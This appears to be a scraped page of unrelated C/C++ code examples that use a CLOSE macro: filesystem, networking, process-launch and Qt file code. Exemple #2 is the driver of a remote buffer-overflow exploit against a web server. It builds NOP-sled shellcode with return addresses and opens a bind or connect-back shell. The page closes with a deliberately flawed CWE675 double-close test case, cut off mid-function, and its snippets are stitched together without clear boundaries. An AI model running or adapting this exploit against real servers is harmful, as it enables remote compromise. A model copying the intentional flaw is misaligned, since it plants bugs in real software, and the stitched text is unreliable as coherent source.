Exemple #1
0
Volume *openVolume(io_func *io) {
  Volume *volume;
  io_func *file;

  volume = (Volume *)malloc(sizeof(Volume));
  volume->image = io;
  volume->extentsTree = NULL;

  volume->volumeHeader = readVolumeHeader(io, 1024);
  if (volume->volumeHeader == NULL) {
    free(volume);
    return NULL;
  }

  file = openRawFile(kHFSExtentsFileID, &volume->volumeHeader->extentsFile,
                     NULL, volume);
  if (file == NULL) {
    free(volume->volumeHeader);
    free(volume);
    return NULL;
  }

  volume->extentsTree = openExtentsTree(file);
  if (volume->extentsTree == NULL) {
    free(volume->volumeHeader);
    free(volume);
    return NULL;
  }

  file = openRawFile(kHFSCatalogFileID, &volume->volumeHeader->catalogFile,
                     NULL, volume);
  if (file == NULL) {
    closeBTree(volume->extentsTree);
    free(volume->volumeHeader);
    free(volume);
    return NULL;
  }

  volume->catalogTree = openCatalogTree(file);
  if (volume->catalogTree == NULL) {
    closeBTree(volume->extentsTree);
    free(volume->volumeHeader);
    free(volume);
    return NULL;
  }

  volume->allocationFile =
      openRawFile(kHFSAllocationFileID, &volume->volumeHeader->allocationFile,
                  NULL, volume);
  if (volume->allocationFile == NULL) {
    closeBTree(volume->catalogTree);
    closeBTree(volume->extentsTree);
    free(volume->volumeHeader);
    free(volume);
    return NULL;
  }

  volume->attrTree = NULL;
  file = openRawFile(kHFSAttributesFileID,
                     &volume->volumeHeader->attributesFile, NULL, volume);
  if (file != NULL) {
    volume->attrTree = openAttributesTree(file);
    if (!volume->attrTree) {
      CLOSE(file);
    }
  }

  volume->metadataDir = getMetadataDirectoryID(volume);

  return volume;
}
Exemple #2
0
int main(int argc, char **argv, char **env) {
  if(argc<=1) usage(argv[0]); fputc('\n', stderr);
  while((ch=getopt(argc,argv,"t:s:p:a:l:i:r:xeb:vh"))!=EOF)
    switch (ch) {
    case 't': {
      i = atoi(optarg);
      if(!i)
	list_targets(),
          exit(0);
        else
          i--;
      target = tlist[i].type;
      addr = tlist[i].ret_addr;
      bsize = tlist[i].bsize;
      retfill = tlist[i].retfill;
      if(strstr(tlist[i].type, "1.3")) ver=3;
      if(strstr(tlist[i].type, "1.4")) ver=4;
    } break;
    case 's': {
      i = atoi(optarg);
      shelltype = slist[i].shelltype;
      shellcode = slist[i].shellcode;
      shellport = slist[i].shellport;
      backport = slist[i].backport;
    } break;
    case 'p': strncpy(path, optarg, sizeof(path)); break;
    case 'a': addr = strtoul(optarg, NULL, 0); break;
    case 'l': rlen = atoi(optarg); break;
    case 'i': bsize = atoi(optarg); break;
    case 'r': retfill = atoi(optarg); break;
    case 'v': verbose++; break;
    case 'x': test_shellcode(); break;
    case 'e': exploit++; break;
    case 'b': {
      strncpy(cmd, optarg, sizeof(cmd));
      for(i = 0; i < strlen(cmd); i++)
	if(cmd[i] == '.') cmd[i] = ' ';
      sscanf(cmd, "%d %d %d %d", &a, &b, &c, &d);
      if(!a||!b||!c||!d)
	log("0 in the ip. pls use another\n"),
          exit(0);
      if(!shellcode)
	log("use -s option before -b\n"),
          exit(0);
      if(shellcode==x86_bsd_connback)
	shellcode[24] = (char ) a,
	  shellcode[25] = (char ) b,
	  shellcode[26] = (char ) c,
	  shellcode[27] = (char ) d,
	  memcpy(&back, shellcode+24, 4);
      if(shellcode==x86_linux_connback)
	shellcode[12+33] = (char ) a,
	  shellcode[12+34] = (char ) b,
	  shellcode[12+35] = (char ) c,
	  shellcode[12+36] = (char ) d,
	  memcpy(&back, shellcode+12+33, 4);
    } break;
    case 'h': default: usage(argv[0]); break;
    }
  dest=argv[argc - 1];
  ptr=strchr(dest,':'); if(ptr!=NULL) { ptr[0]='\0'; ptr++; port=atoi(ptr);}

  log("start attack: (1.%d) %s\n\n", ver, target);
  log("connecting to %s %d ... ", dest, port);
  if(connectm(dest, port, &t)) exit(0);
  log("building query ...\n");
  if(ver>3) {
    sprintf(cmd, "Host: %s\n", dest);
    target=strdup(cmd);
  } else
    target=strdup("");
  sprintf(cmd,
    "GET %s HTTP/1.0\n"
    "%s"
    "Accept: text/html, text/plain\n"
	  "Accept: application/postscript, text/sgml, */*;q=0.01\n"
    "Accept-Encoding: gzip, compress\n"
    "Accept-Language: en\n"
    "Negotiate: trans\n"
    "User-Agent: Lynx/6.6.6\n"
	  "\n", path, target);
  log("sending query (%d) ... ", strlen(cmd));
  if(verbose) log("send>\n%s\n<send\n", cmd);
  writem(); perror(NULL);
  log("receiving data ...\n");
  recvall(rlen);
  close(t);
  if(srvok)
    exit(0);
  if(!m302ok)
    log("url path not redirected. use -p to override\n"),
      exit(0);
  if(!rlen)
    log("rlen auto detection fail. use -l to override\n"),
      exit(0);
  if(rlen % 2)
    log("alignment error (rlen: %d). not exploitable.\n", rlen),
      exit(0);

  log("addr: 0x%x\n", (unsigned int) addr);
  log("rlen: %d\n", rlen);
  log("offset: %d\n", offset);
  addr += rlen + offset;
  log("use addr: 0x%x (addr + rlen + offset)\n", (unsigned int) addr);

  bsize-=rlen;
  bsize-=retfill;
  bsize/=2;
  log("buffer size: %d ((bsize-rlen-retfill)/2)\n", bsize);
  log("retfill: %d\n", retfill);
  log("shellcode len: %d\n\n", strlen(shellcode));

  if(!exploit)
    log("all seems ok. run again with -e option\n"),
      exit(0);
  if(backport) {
    if(!back)
      log("no connect back ip. use -b option\n"),
	exit(0);
    log("connect back to: 0x%08x %d\n", (unsigned long) back, backport);
    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    s.sin_family = AF_INET;
    s.sin_port = htons(backport);
    s.sin_addr.s_addr = htonl(INADDR_ANY);
    debug("... bind", bind(sock, (struct sockaddr *)&s, sizeof(s)));
    debug("... listen", listen(sock, 5));
  }
  starttime = time(NULL); setjmp(w);
  log("ready in %d sec...\r", starttime + TIMEOUT - time(NULL));
  if(starttime + TIMEOUT >= time(NULL)) longjmp(w, 1);

  log("connecting to %s %d ... ", dest, port);
  if(connectm(dest, port, &t)) exit(0);
  log("building data ...\n");
  buff = (char *)malloc(bsize+retfill*4+100);
  memset(buff, 0x00, bsize+retfill*4+100);
  for(i=0; i<bsize; i++) buff[i] = 0x90;
  ptr=buff+((bsize)-(strlen(shellcode)));
  for(i=0; i<strlen(shellcode); i++) *(ptr++) = shellcode[i];
  addr_ptr = (long *)ptr;
  for(i=0; i<retfill; i+=4) *(addr_ptr++)=addr;

  log("building query + data ...\n");
  sprintf(cmd,
    "GET %s%s HTTP/1.0\n"
    "%s"
    "Accept: text/html, text/plain\n"
	  "Accept: application/postscript, text/sgml, */*;q=0.01\n"
    "Accept-Encoding: gzip, compress\n"
    "Accept-Language: en\n"
    "Negotiate: trans\n"
    "User-Agent: Lynx/6.6.6\n"
	  "\n", path, buff, target);
  log("sending query + data (all: %d) (buff: %d) ... ",
      strlen(cmd), strlen(buff));
  if(verbose) log("send>\n%s\n<send\n", cmd);
  writem(); perror(NULL);

  log("shell ...\n");
  if(shellport) {
    log("connecting to %s %d ... ", dest, shellport);
    sleep(1); if(connectm(dest, shellport, &sock)) exit(0);
  }
  if(backport) {
    debug("... accept", sock = accept(sock, (struct sockaddr *)&s, &l));
  }
  signal(2, sigh);
  shell();
  CLOSE(t);
  CLOSE(sock);
  FREE(target);
  log("done.\n");
  return 0;
}
Exemple #3
0
static void
tunnelDispatch(TunnelPtr tunnel)
{
    if(circularBufferEmpty(&tunnel->buf1)) {
        if(tunnel->buf1.buf && 
           !(tunnel->flags & (TUNNEL_READER1 | TUNNEL_WRITER2))) {
            dispose_chunk(tunnel->buf1.buf);
            tunnel->buf1.buf = NULL;
            tunnel->buf1.head = tunnel->buf1.tail = 0;
        }
    }

    if(circularBufferEmpty(&tunnel->buf2)) {
        if(tunnel->buf2.buf &&
           !(tunnel->flags & (TUNNEL_READER2 | TUNNEL_WRITER1))) {
            dispose_chunk(tunnel->buf2.buf);
            tunnel->buf2.buf = NULL;
            tunnel->buf2.head = tunnel->buf2.tail = 0;
        }
    }

    if(tunnel->fd1 >= 0) {
        if(!(tunnel->flags & (TUNNEL_READER1 | TUNNEL_EOF1)) && 
           !circularBufferFull(&tunnel->buf1)) {
            tunnel->flags |= TUNNEL_READER1;
            bufRead(tunnel->fd1, &tunnel->buf1, tunnelRead1Handler, tunnel);
        }
        if(!(tunnel->flags & (TUNNEL_WRITER1 | TUNNEL_EPIPE1)) &&
           !circularBufferEmpty(&tunnel->buf2)) {
            tunnel->flags |= TUNNEL_WRITER1;
            /* There's no IO_NOTNOW in bufWrite, so it might close the
               file descriptor straight away.  Wait until we're
               rescheduled. */
            bufWrite(tunnel->fd1, &tunnel->buf2, tunnelWrite1Handler, tunnel);
            return;
        }
        if(tunnel->fd2 < 0 || (tunnel->flags & TUNNEL_EOF2)) {
            if(!(tunnel->flags & TUNNEL_EPIPE1))
                shutdown(tunnel->fd1, 1);
            tunnel->flags |= TUNNEL_EPIPE1;
        } else if(tunnel->fd1 < 0 || (tunnel->flags & TUNNEL_EPIPE2)) {
            if(!(tunnel->flags & TUNNEL_EOF1))
                shutdown(tunnel->fd1, 0);
            tunnel->flags |= TUNNEL_EOF1;
        }
        if((tunnel->flags & TUNNEL_EOF1) && (tunnel->flags & TUNNEL_EPIPE1)) {
            if(!(tunnel->flags & (TUNNEL_READER1 | TUNNEL_WRITER1))) {
                CLOSE(tunnel->fd1);
                tunnel->fd1 = -1;
            }
        }
    }

    if(tunnel->fd2 >= 0) {
        if(!(tunnel->flags & (TUNNEL_READER2 | TUNNEL_EOF2)) && 
           !circularBufferFull(&tunnel->buf2)) {
            tunnel->flags |= TUNNEL_READER2;
            bufRead(tunnel->fd2, &tunnel->buf2, tunnelRead2Handler, tunnel);
        }
        if(!(tunnel->flags & (TUNNEL_WRITER2 | TUNNEL_EPIPE2)) &&
           !circularBufferEmpty(&tunnel->buf1)) {
            tunnel->flags |= TUNNEL_WRITER2;
            bufWrite(tunnel->fd2, &tunnel->buf1, tunnelWrite2Handler, tunnel);
            return;
        }
        if(tunnel->fd1 < 0 || (tunnel->flags & TUNNEL_EOF1)) {
            if(!(tunnel->flags & TUNNEL_EPIPE2))
                shutdown(tunnel->fd2, 1);
            tunnel->flags |= TUNNEL_EPIPE2;
        } else if(tunnel->fd1 < 0 || (tunnel->flags & TUNNEL_EPIPE1)) {
            if(!(tunnel->flags & TUNNEL_EOF2))
                shutdown(tunnel->fd2, 0);
            tunnel->flags |= TUNNEL_EOF2;
        }
        if((tunnel->flags & TUNNEL_EOF2) && (tunnel->flags & TUNNEL_EPIPE2)) {
            if(!(tunnel->flags & (TUNNEL_READER2 | TUNNEL_WRITER2))) {
                CLOSE(tunnel->fd2);
                tunnel->fd2 = -1;
            }
        }
    }

    if(tunnel->fd1 < 0 && tunnel->fd2 < 0)
        destroyTunnel(tunnel);
    else
        assert(tunnel->flags & (TUNNEL_READER1 | TUNNEL_WRITER1 |
                                TUNNEL_READER2 | TUNNEL_WRITER2));
}
Exemple #4
0
int main(int argc, const char *argv[]) {
	io_func* io;
	Volume* volume;
	
	if(argc < 3) {
		printf("usage: %s <image-file> <ls|cat|mv|mkdir|add|rm|chmod|extract|extractall|rmall|addall|debug> <arguments>\n", argv[0]);
		return 0;
	}
	
	io = openFlatFile(argv[1]);
	if(io == NULL) {
		fprintf(stderr, "error: Cannot open image-file.\n");
		return 1;
	}
	
	volume = openVolume(io); 
	if(volume == NULL) {
		fprintf(stderr, "error: Cannot open volume.\n");
		CLOSE(io);
		return 1;
	}
	
	if(argc > 1) {
		if(strcmp(argv[2], "ls") == 0) {
			cmd_ls(volume, argc - 2, argv + 2);
		} else if(strcmp(argv[2], "cat") == 0) {
			cmd_cat(volume, argc - 2, argv + 2);
		} else if(strcmp(argv[2], "mv") == 0) {
			cmd_mv(volume, argc - 2, argv + 2);
		} else if(strcmp(argv[2], "symlink") == 0) {
			cmd_symlink(volume, argc - 2, argv + 2);
		} else if(strcmp(argv[2], "mkdir") == 0) {
			cmd_mkdir(volume, argc - 2, argv + 2);
		} else if(strcmp(argv[2], "add") == 0) {
			cmd_add(volume, argc - 2, argv + 2);
		} else if(strcmp(argv[2], "rm") == 0) {
			cmd_rm(volume, argc - 2, argv + 2);
		} else if(strcmp(argv[2], "chmod") == 0) {
			cmd_chmod(volume, argc - 2, argv + 2);
		} else if(strcmp(argv[2], "extract") == 0) {
			cmd_extract(volume, argc - 2, argv + 2);
		} else if(strcmp(argv[2], "extractall") == 0) {
			cmd_extractall(volume, argc - 2, argv + 2);
		} else if(strcmp(argv[2], "rmall") == 0) {
			cmd_rmall(volume, argc - 2, argv + 2);
		} else if(strcmp(argv[2], "addall") == 0) {
			cmd_addall(volume, argc - 2, argv + 2);
		} else if(strcmp(argv[2], "grow") == 0) {
			cmd_grow(volume, argc - 2, argv + 2);
		} else if(strcmp(argv[2], "getattr") == 0) {
			cmd_getattr(volume, argc - 2, argv + 2);
		} else if(strcmp(argv[2], "debug") == 0) {
			if(argc > 3 && strcmp(argv[3], "verbose") == 0) {
				debugBTree(volume->catalogTree, TRUE);
			} else {
				debugBTree(volume->catalogTree, FALSE);
			}
		}
	}
	
	closeVolume(volume);
	CLOSE(io);
	
	return 0;
}
Exemple #5
0
void MythSystemWindows::Fork(time_t timeout)
{
    QString LOC_ERR = QString("myth_system('%1'): Error: ").arg(GetLogCmd());

    // For use in the child
    char locerr[MAX_BUFLEN];
    strncpy(locerr, (const char *)LOC_ERR.toUtf8().constData(), MAX_BUFLEN);
    locerr[MAX_BUFLEN-1] = '\0';

    LOG(VB_SYSTEM, LOG_DEBUG, QString("Launching: %1").arg(GetLogCmd()));

    GetBuffer(0)->setBuffer(0);
    GetBuffer(1)->setBuffer(0);
    GetBuffer(2)->setBuffer(0);

    HANDLE p_stdin[2] = { NULL, NULL };
    HANDLE p_stdout[2] = { NULL, NULL };
    HANDLE p_stderr[2] = { NULL, NULL };

    SECURITY_ATTRIBUTES saAttr; 
    STARTUPINFO si;

    ZeroMemory(&si, sizeof(STARTUPINFO));
    si.cb = sizeof(STARTUPINFO);
        
    // Set the bInheritHandle flag so pipe handles are inherited. 
    saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); 
    saAttr.bInheritHandle = true; 
    saAttr.lpSecurityDescriptor = NULL; 

    /* set up pipes */
    if( GetSetting("UseStdin") )
    {
        if (!CreatePipe(&p_stdin[0], &p_stdin[1], &saAttr, 0)) 
        {
            LOG(VB_GENERAL, LOG_ERR, LOC_ERR + "stdin pipe() failed");
            SetStatus( GENERIC_EXIT_NOT_OK );
        }
        else
        {
            // Ensure the write handle to the pipe for STDIN is not inherited. 
            if (!SetHandleInformation(p_stdin[1], HANDLE_FLAG_INHERIT, 0))
            {
                LOG(VB_SYSTEM, LOG_ERR, LOC_ERR + "stdin inheritance error");
                SetStatus( GENERIC_EXIT_NOT_OK );
            }
            else
            {
                si.hStdInput = p_stdin[0];
                si.dwFlags |= STARTF_USESTDHANDLES;
            }
        }
    }

    if( GetSetting("UseStdout") )
    {
        if (!CreatePipe(&p_stdout[0], &p_stdout[1], &saAttr, 0)) 
        {
            LOG(VB_SYSTEM, LOG_ERR, LOC_ERR + "stdout pipe() failed");
            SetStatus( GENERIC_EXIT_NOT_OK );
        }
        else
        {
            // Ensure the read handle to the pipe for STDOUT is not inherited.
            if (!SetHandleInformation(p_stdout[0], HANDLE_FLAG_INHERIT, 0))
            {
                LOG(VB_SYSTEM, LOG_ERR, LOC_ERR + "stdout inheritance error");
                SetStatus( GENERIC_EXIT_NOT_OK );
            }
            else
            {
                si.hStdOutput = p_stdout[1];
                si.dwFlags |= STARTF_USESTDHANDLES;
            }
        }
    }

    if( GetSetting("UseStderr") )
    {
        if (!CreatePipe(&p_stderr[0], &p_stderr[1], &saAttr, 0)) 
        {
            LOG(VB_SYSTEM, LOG_ERR, LOC_ERR + "stderr pipe() failed");
            SetStatus( GENERIC_EXIT_NOT_OK );
        }
        else
        {
            // Ensure the read handle to the pipe for STDERR is not inherited.
            if (!SetHandleInformation(p_stderr[0], HANDLE_FLAG_INHERIT, 0))
            {
                LOG(VB_SYSTEM, LOG_ERR, LOC_ERR + "stderr inheritance error");
                SetStatus( GENERIC_EXIT_NOT_OK );
            }
            else
            {
                si.hStdError = p_stderr[1];
                si.dwFlags |= STARTF_USESTDHANDLES;
            }
        }
    }

    // set up command args
    QString cmd = GetCommand().replace('/','\\') + " " + GetArgs().join(" ");
    if (GetSetting("UseShell"))
        cmd.prepend("cmd.exe /c ");

    SetCommand( cmd );

    QByteArray cmdUTF8 = GetCommand().toUtf8();
    TCHAR *command = TEXT((char *)cmdUTF8.constData());

    const char *directory = NULL;
    QString dir = GetDirectory();
    if (GetSetting("SetDirectory") && !dir.isEmpty())
        directory = strdup(dir.toUtf8().constData());

    PROCESS_INFORMATION pi;
    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

    m_timeout = timeout;
    if( timeout )
        m_timeout += time(NULL);

    bool success = CreateProcess(NULL, 
                    command,       // command line 
                    NULL,          // process security attributes 
                    NULL,          // primary thread security attributes 
                    TRUE,          // handles are inherited 
                    0,             // creation flags 
                    NULL,          // use parent's environment 
                    directory,     // use parent's current directory 
                   &si,            // STARTUPINFO pointer 
                   &pi);           // receives PROCESS_INFORMATION 

    if (!success)
    {
        LOG(VB_SYSTEM, LOG_ERR, LOC_ERR + "CreateProcess() failed");
        SetStatus( GENERIC_EXIT_NOT_OK );
    }
    else
    {
        /* parent */
        m_child = pi.hProcess;
        SetStatus( GENERIC_EXIT_RUNNING );

        LOG(VB_SYSTEM, LOG_INFO,
                QString("Managed child (Handle: %1) has started! "
                        "%2%3 command=%4, timeout=%5")
                    .arg((long long)m_child) 
                    .arg(GetSetting("UseShell") ? "*" : "")
                    .arg(GetSetting("RunInBackground") ? "&" : "")
                    .arg(GetLogCmd()) .arg(timeout));

        /* close unused pipe ends */
        CLOSE(p_stdin[0]);
        CLOSE(p_stdout[1]);
        CLOSE(p_stderr[1]);

        // store the rest
        m_stdpipe[0] = p_stdin[1];
        m_stdpipe[1] = p_stdout[0];
        m_stdpipe[2] = p_stderr[0];

        // clean up the memory use
        if( directory )
            free((void *)directory);
    }

    /* Parent */
    if( GetStatus() != GENERIC_EXIT_RUNNING )
    {
        CLOSE(p_stdin[0]);
        CLOSE(p_stdin[1]);
        CLOSE(p_stdout[0]);
        CLOSE(p_stdout[1]);
        CLOSE(p_stderr[0]);
        CLOSE(p_stderr[1]);
    }
}
Exemple #6
0
/**
 * Run a standard GNUnet service startup sequence (initialize loggers
 * and configuration, parse options).
 *
 * @param argc number of command line arguments
 * @param argv command line arguments
 * @param service_name our service name
 * @param options service options
 * @param task main task of the service
 * @param task_cls closure for @a task
 * @return #GNUNET_SYSERR on error, #GNUNET_OK
 *         if we shutdown nicely
 */
int
GNUNET_SERVICE_run (int argc, char *const *argv,
                    const char *service_name,
                    enum GNUNET_SERVICE_Options options,
                    GNUNET_SERVICE_Main task,
                    void *task_cls)
{
#define HANDLE_ERROR do { GNUNET_break (0); goto shutdown; } while (0)

  int err;
  int ret;
  char *cfg_fn;
  char *opt_cfg_fn;
  char *loglev;
  char *logfile;
  int do_daemonize;
  unsigned int i;
  unsigned long long skew_offset;
  unsigned long long skew_variance;
  long long clock_offset;
  struct GNUNET_SERVICE_Context sctx;
  struct GNUNET_CONFIGURATION_Handle *cfg;
  const char *xdg;

  struct GNUNET_GETOPT_CommandLineOption service_options[] = {
    GNUNET_GETOPT_OPTION_CFG_FILE (&opt_cfg_fn),
    {'d', "daemonize", NULL,
     gettext_noop ("do daemonize (detach from terminal)"), 0,
     GNUNET_GETOPT_set_one, &do_daemonize},
    GNUNET_GETOPT_OPTION_HELP (NULL),
    GNUNET_GETOPT_OPTION_LOGLEVEL (&loglev),
    GNUNET_GETOPT_OPTION_LOGFILE (&logfile),
    GNUNET_GETOPT_OPTION_VERSION (PACKAGE_VERSION " " VCS_VERSION),
    GNUNET_GETOPT_OPTION_END
  };
  err = 1;
  do_daemonize = 0;
  logfile = NULL;
  loglev = NULL;
  opt_cfg_fn = NULL;
  xdg = getenv ("XDG_CONFIG_HOME");
  if (NULL != xdg)
    GNUNET_asprintf (&cfg_fn,
                     "%s%s%s",
                     xdg,
                     DIR_SEPARATOR_STR,
                     "gnunet.conf");
  else
    cfg_fn = GNUNET_strdup (GNUNET_DEFAULT_USER_CONFIG_FILE);
  memset (&sctx, 0, sizeof (sctx));
  sctx.options = options;
  sctx.ready_confirm_fd = -1;
  sctx.ret = GNUNET_OK;
  sctx.timeout = GNUNET_TIME_UNIT_FOREVER_REL;
  sctx.task = task;
  sctx.task_cls = task_cls;
  sctx.service_name = service_name;
  sctx.cfg = cfg = GNUNET_CONFIGURATION_create ();

  /* setup subsystems */
  ret = GNUNET_GETOPT_run (service_name, service_options, argc, argv);
  if (GNUNET_SYSERR == ret)
    goto shutdown;
  if (GNUNET_NO == ret)
  {
    err = 0;
    goto shutdown;
  }
  if (GNUNET_OK != GNUNET_log_setup (service_name, loglev, logfile))
    HANDLE_ERROR;
  if (NULL == opt_cfg_fn)
    opt_cfg_fn = GNUNET_strdup (cfg_fn);
  if (GNUNET_YES == GNUNET_DISK_file_test (opt_cfg_fn))
  {
    if (GNUNET_SYSERR == GNUNET_CONFIGURATION_load (cfg, opt_cfg_fn))
    {
      GNUNET_log (GNUNET_ERROR_TYPE_ERROR,
                  _("Malformed configuration file `%s', exit ...\n"),
                  opt_cfg_fn);
      goto shutdown;
    }
  }
  else
  {
    if (GNUNET_SYSERR == GNUNET_CONFIGURATION_load (cfg, NULL))
    {
      GNUNET_log (GNUNET_ERROR_TYPE_ERROR,
                  _("Malformed configuration, exit ...\n"));
      goto shutdown;
    }
    if (0 != strcmp (opt_cfg_fn, cfg_fn))
      GNUNET_log (GNUNET_ERROR_TYPE_ERROR,
		  _("Could not access configuration file `%s'\n"),
		  opt_cfg_fn);
  }
  if (GNUNET_OK != setup_service (&sctx))
    goto shutdown;
  if ((1 == do_daemonize) && (GNUNET_OK != detach_terminal (&sctx)))
    HANDLE_ERROR;
  if (GNUNET_OK != set_user_id (&sctx))
    goto shutdown;
  LOG (GNUNET_ERROR_TYPE_DEBUG,
       "Service `%s' runs with configuration from `%s'\n",
       service_name,
       opt_cfg_fn);
  if ((GNUNET_OK ==
       GNUNET_CONFIGURATION_get_value_number (sctx.cfg, "TESTING",
                                              "SKEW_OFFSET", &skew_offset)) &&
      (GNUNET_OK ==
       GNUNET_CONFIGURATION_get_value_number (sctx.cfg, "TESTING",
                                              "SKEW_VARIANCE", &skew_variance)))
  {
    clock_offset = skew_offset - skew_variance;
    GNUNET_TIME_set_offset (clock_offset);
    LOG (GNUNET_ERROR_TYPE_DEBUG, "Skewing clock by %dll ms\n", clock_offset);
  }
  /* actually run service */
  err = 0;
  GNUNET_SCHEDULER_run (&service_task, &sctx);
  /* shutdown */
  if ((1 == do_daemonize) && (NULL != sctx.server))
    pid_file_delete (&sctx);
  GNUNET_free_non_null (sctx.my_handlers);

shutdown:
  if (-1 != sctx.ready_confirm_fd)
  {
    if (1 != WRITE (sctx.ready_confirm_fd, err ? "I" : "S", 1))
      LOG_STRERROR (GNUNET_ERROR_TYPE_WARNING, "write");
    GNUNET_break (0 == CLOSE (sctx.ready_confirm_fd));
  }
#if HAVE_MALLINFO
  {
    char *counter;

    if ( (GNUNET_YES ==
	  GNUNET_CONFIGURATION_have_value (sctx.cfg, service_name,
					   "GAUGER_HEAP")) &&
	 (GNUNET_OK ==
	  GNUNET_CONFIGURATION_get_value_string (sctx.cfg, service_name,
						 "GAUGER_HEAP",
						 &counter)) )
    {
      struct mallinfo mi;

      mi = mallinfo ();
      GAUGER (service_name, counter, mi.usmblks, "blocks");
      GNUNET_free (counter);
    }
  }
#endif
  GNUNET_SPEEDUP_stop_ ();
  GNUNET_CONFIGURATION_destroy (cfg);
  i = 0;
  if (NULL != sctx.addrs)
    while (NULL != sctx.addrs[i])
      GNUNET_free (sctx.addrs[i++]);
  GNUNET_free_non_null (sctx.addrs);
  GNUNET_free_non_null (sctx.addrlens);
  GNUNET_free_non_null (logfile);
  GNUNET_free_non_null (loglev);
  GNUNET_free (cfg_fn);
  GNUNET_free_non_null (opt_cfg_fn);
  GNUNET_free_non_null (sctx.v4_denied);
  GNUNET_free_non_null (sctx.v6_denied);
  GNUNET_free_non_null (sctx.v4_allowed);
  GNUNET_free_non_null (sctx.v6_allowed);

  return err ? GNUNET_SYSERR : sctx.ret;
}
uint QFile::size() const
{
    STATBUF st;
    if ( isOpen() ) {
	FSTAT( fh ? FILENO(fh) : fd, &st );
        return st.st_size;
    } else {
#if defined(__CYGWIN32_)
	STAT( QFile::encodeName(fn), &st );
#else
        QString str = fn;
        reslashify(str);
#ifdef QT_LARGEFILE_SUPPORT
        if ( _wstati64( (wchar_t*) str.ucs2(), &st ) != -1 ) {
#else
        if ( _wstat( (wchar_t*) str.ucs2(), &st ) != -1 ) {
#endif
#endif
            return st.st_size;
        }
    }
    return 0;
}

/*!
  \fn int QFile::at() const
  Returns the file index.
  \sa size()
*/

/*!
  Sets the file index to \e pos. Returns TRUE if successful, otherwise FALSE.

  Example:
  \code
    QFile f( "data.bin" );
    f.open( IO_ReadOnly );			// index set to 0
    f.at( 100 );				// set index to 100
    f.at( f.at()+50 );				// set index to 150
    f.at( f.size()-80 );			// set index to 80 before EOF
    f.close();
  \endcode

  \warning The result is undefined if the file was \link open() opened\endlink
  using the \c IO_Append specifier.

  \sa size(), open()
*/

bool QFile::at( int pos )
{
    if ( !isOpen() ) {
#if defined(CHECK_STATE)
	qWarning( "QFile::at: File is not open" );
#endif
	return FALSE;
    }
    bool ok;
    if ( isRaw() ) {				// raw file
	pos = (int)LSEEK(fd, pos, SEEK_SET);
	ok = pos != -1;
    } else {					// buffered file
	ok = fseek(fh, pos, SEEK_SET) == 0;
    }
    if ( ok )
	ioIndex = pos;
#if defined(CHECK_RANGE)
    else
	qWarning( "QFile::at: Cannot set file position %d", pos );
#endif
    return ok;
}

/*!
  Reads at most \e len bytes from the file into \e p and returns the
  number of bytes actually read.

  Returns -1 if a serious error occurred.

  \warning We have experienced problems with some C libraries when a buffered
  file is opened for both reading and writing. If a read operation takes place
  immediately after a write operation, the read buffer contains garbage data.
  Worse, the same garbage is written to the file. Calling flush() before
  readBlock() solved this problem.

  \sa writeBlock()
*/

int QFile::readBlock( char *p, uint len )
{
#if defined(CHECK_NULL)
    if ( !p )
	qWarning( "QFile::readBlock: Null pointer error" );
#endif
#if defined(CHECK_STATE)
    if ( !isOpen() ) {				// file not open
	qWarning( "QFile::readBlock: File not open" );
	return -1;
    }
    if ( !isReadable() ) {			// reading not permitted
	qWarning( "QFile::readBlock: Read operation not permitted" );
	return -1;
    }
#endif
    int nread;					// number of bytes read
    if ( isRaw() ) {				// raw file
	nread = READ( fd, p, len );
	if ( len && nread <= 0 ) {
	    nread = 0;
	    setStatus(IO_ReadError);
	}
    } else {					// buffered file
	nread = (int)fread( p, 1, len, fh );
	if ( (uint)nread != len ) {
	    if ( ferror( fh ) || nread==0 )
		setStatus(IO_ReadError);
	}
    }
    ioIndex += nread;
    return nread;
}

/*! \overload int writeBlock( const QByteArray& data )
*/

/*! \reimp

  Writes \e len bytes from \e p to the file and returns the number of
  bytes actually written.

  Returns -1 if a serious error occurred.

  \warning When working with buffered files, data may not be written
  to the file at once. Call flush() to make sure the data is really
  written.

  \sa readBlock()
*/

int QFile::writeBlock( const char *p, uint len )
{
#if defined(CHECK_NULL)
    if ( p == 0 && len != 0 )
	qWarning( "QFile::writeBlock: Null pointer error" );
#endif
#if defined(CHECK_STATE)
    if ( !isOpen() ) {				// file not open
	qWarning( "QFile::writeBlock: File not open" );
	return -1;
    }
    if ( !isWritable() ) {			// writing not permitted
	qWarning( "QFile::writeBlock: Write operation not permitted" );
	return -1;
    }
#endif
    int nwritten;				// number of bytes written
    if ( isRaw() )				// raw file
	nwritten = WRITE( fd, p, len );
    else					// buffered file
	nwritten = (int)fwrite( p, 1, len, fh );
    if ( nwritten != (int)len ) {		// write error
	if ( errno == ENOSPC )			// disk is full
	    setStatus( IO_ResourceError );
	else
	    setStatus( IO_WriteError );
	if ( isRaw() )				// recalc file position
	    ioIndex = (int)LSEEK( fd, 0, SEEK_CUR );
	else
	    ioIndex = fseek( fh, 0, SEEK_CUR );
    } else {
	ioIndex += nwritten;
    }
    if ( ioIndex > length )			// update file length
	length = ioIndex;
    return nwritten;
}

/*!
  Returns the file handle of the file.

  This is a small positive integer, suitable for use with C library
  functions such as fdopen() and fcntl(), as well as with QSocketNotifier.

  If the file is not open or there is an error, handle() returns -1.

  \sa QSocketNotifier
*/

int QFile::handle() const
{
    if ( !isOpen() )
	return -1;
    else if ( fh )
	return FILENO( fh );
    else
	return fd;
}

/*!
  Closes an open file.

  The file is not closed if it was opened with an existing file handle.
  If the existing file handle is a \c FILE*, the file is flushed.
  If the existing file handle is an \c int file descriptor, nothing
  is done to the file.

  Some "write-behind" filesystems may report an unspecified error on
  closing the file. These errors only indicate that something may
  have gone wrong since the previous open(). In such a case status()
  reports IO_UnspecifiedError after close(), otherwise IO_Ok.

  \sa open(), flush()
*/


void QFile::close()
{
    bool ok = FALSE;
    if ( isOpen() ) {				// file is not open
	if ( fh ) {				// buffered file
	    if ( ext_f )
		ok = fflush( fh ) != -1;	// flush instead of closing
	    else
		ok = fclose( fh ) != -1;
	} else {				// raw file
	    if ( ext_f )
		ok = TRUE;			// cannot close
	    else
		ok = CLOSE( fd ) != -1;
	}
	init();					// restore internal state
    }
    if (!ok)
	setStatus (IO_UnspecifiedError);

    return;
}
CWE675_Duplicate_Operations_on_Resource__open_83_bad::~CWE675_Duplicate_Operations_on_Resource__open_83_bad()
{
    /* POTENTIAL FLAW: Close the file in the sink (it may have been closed in the Source) */
    CLOSE(data);
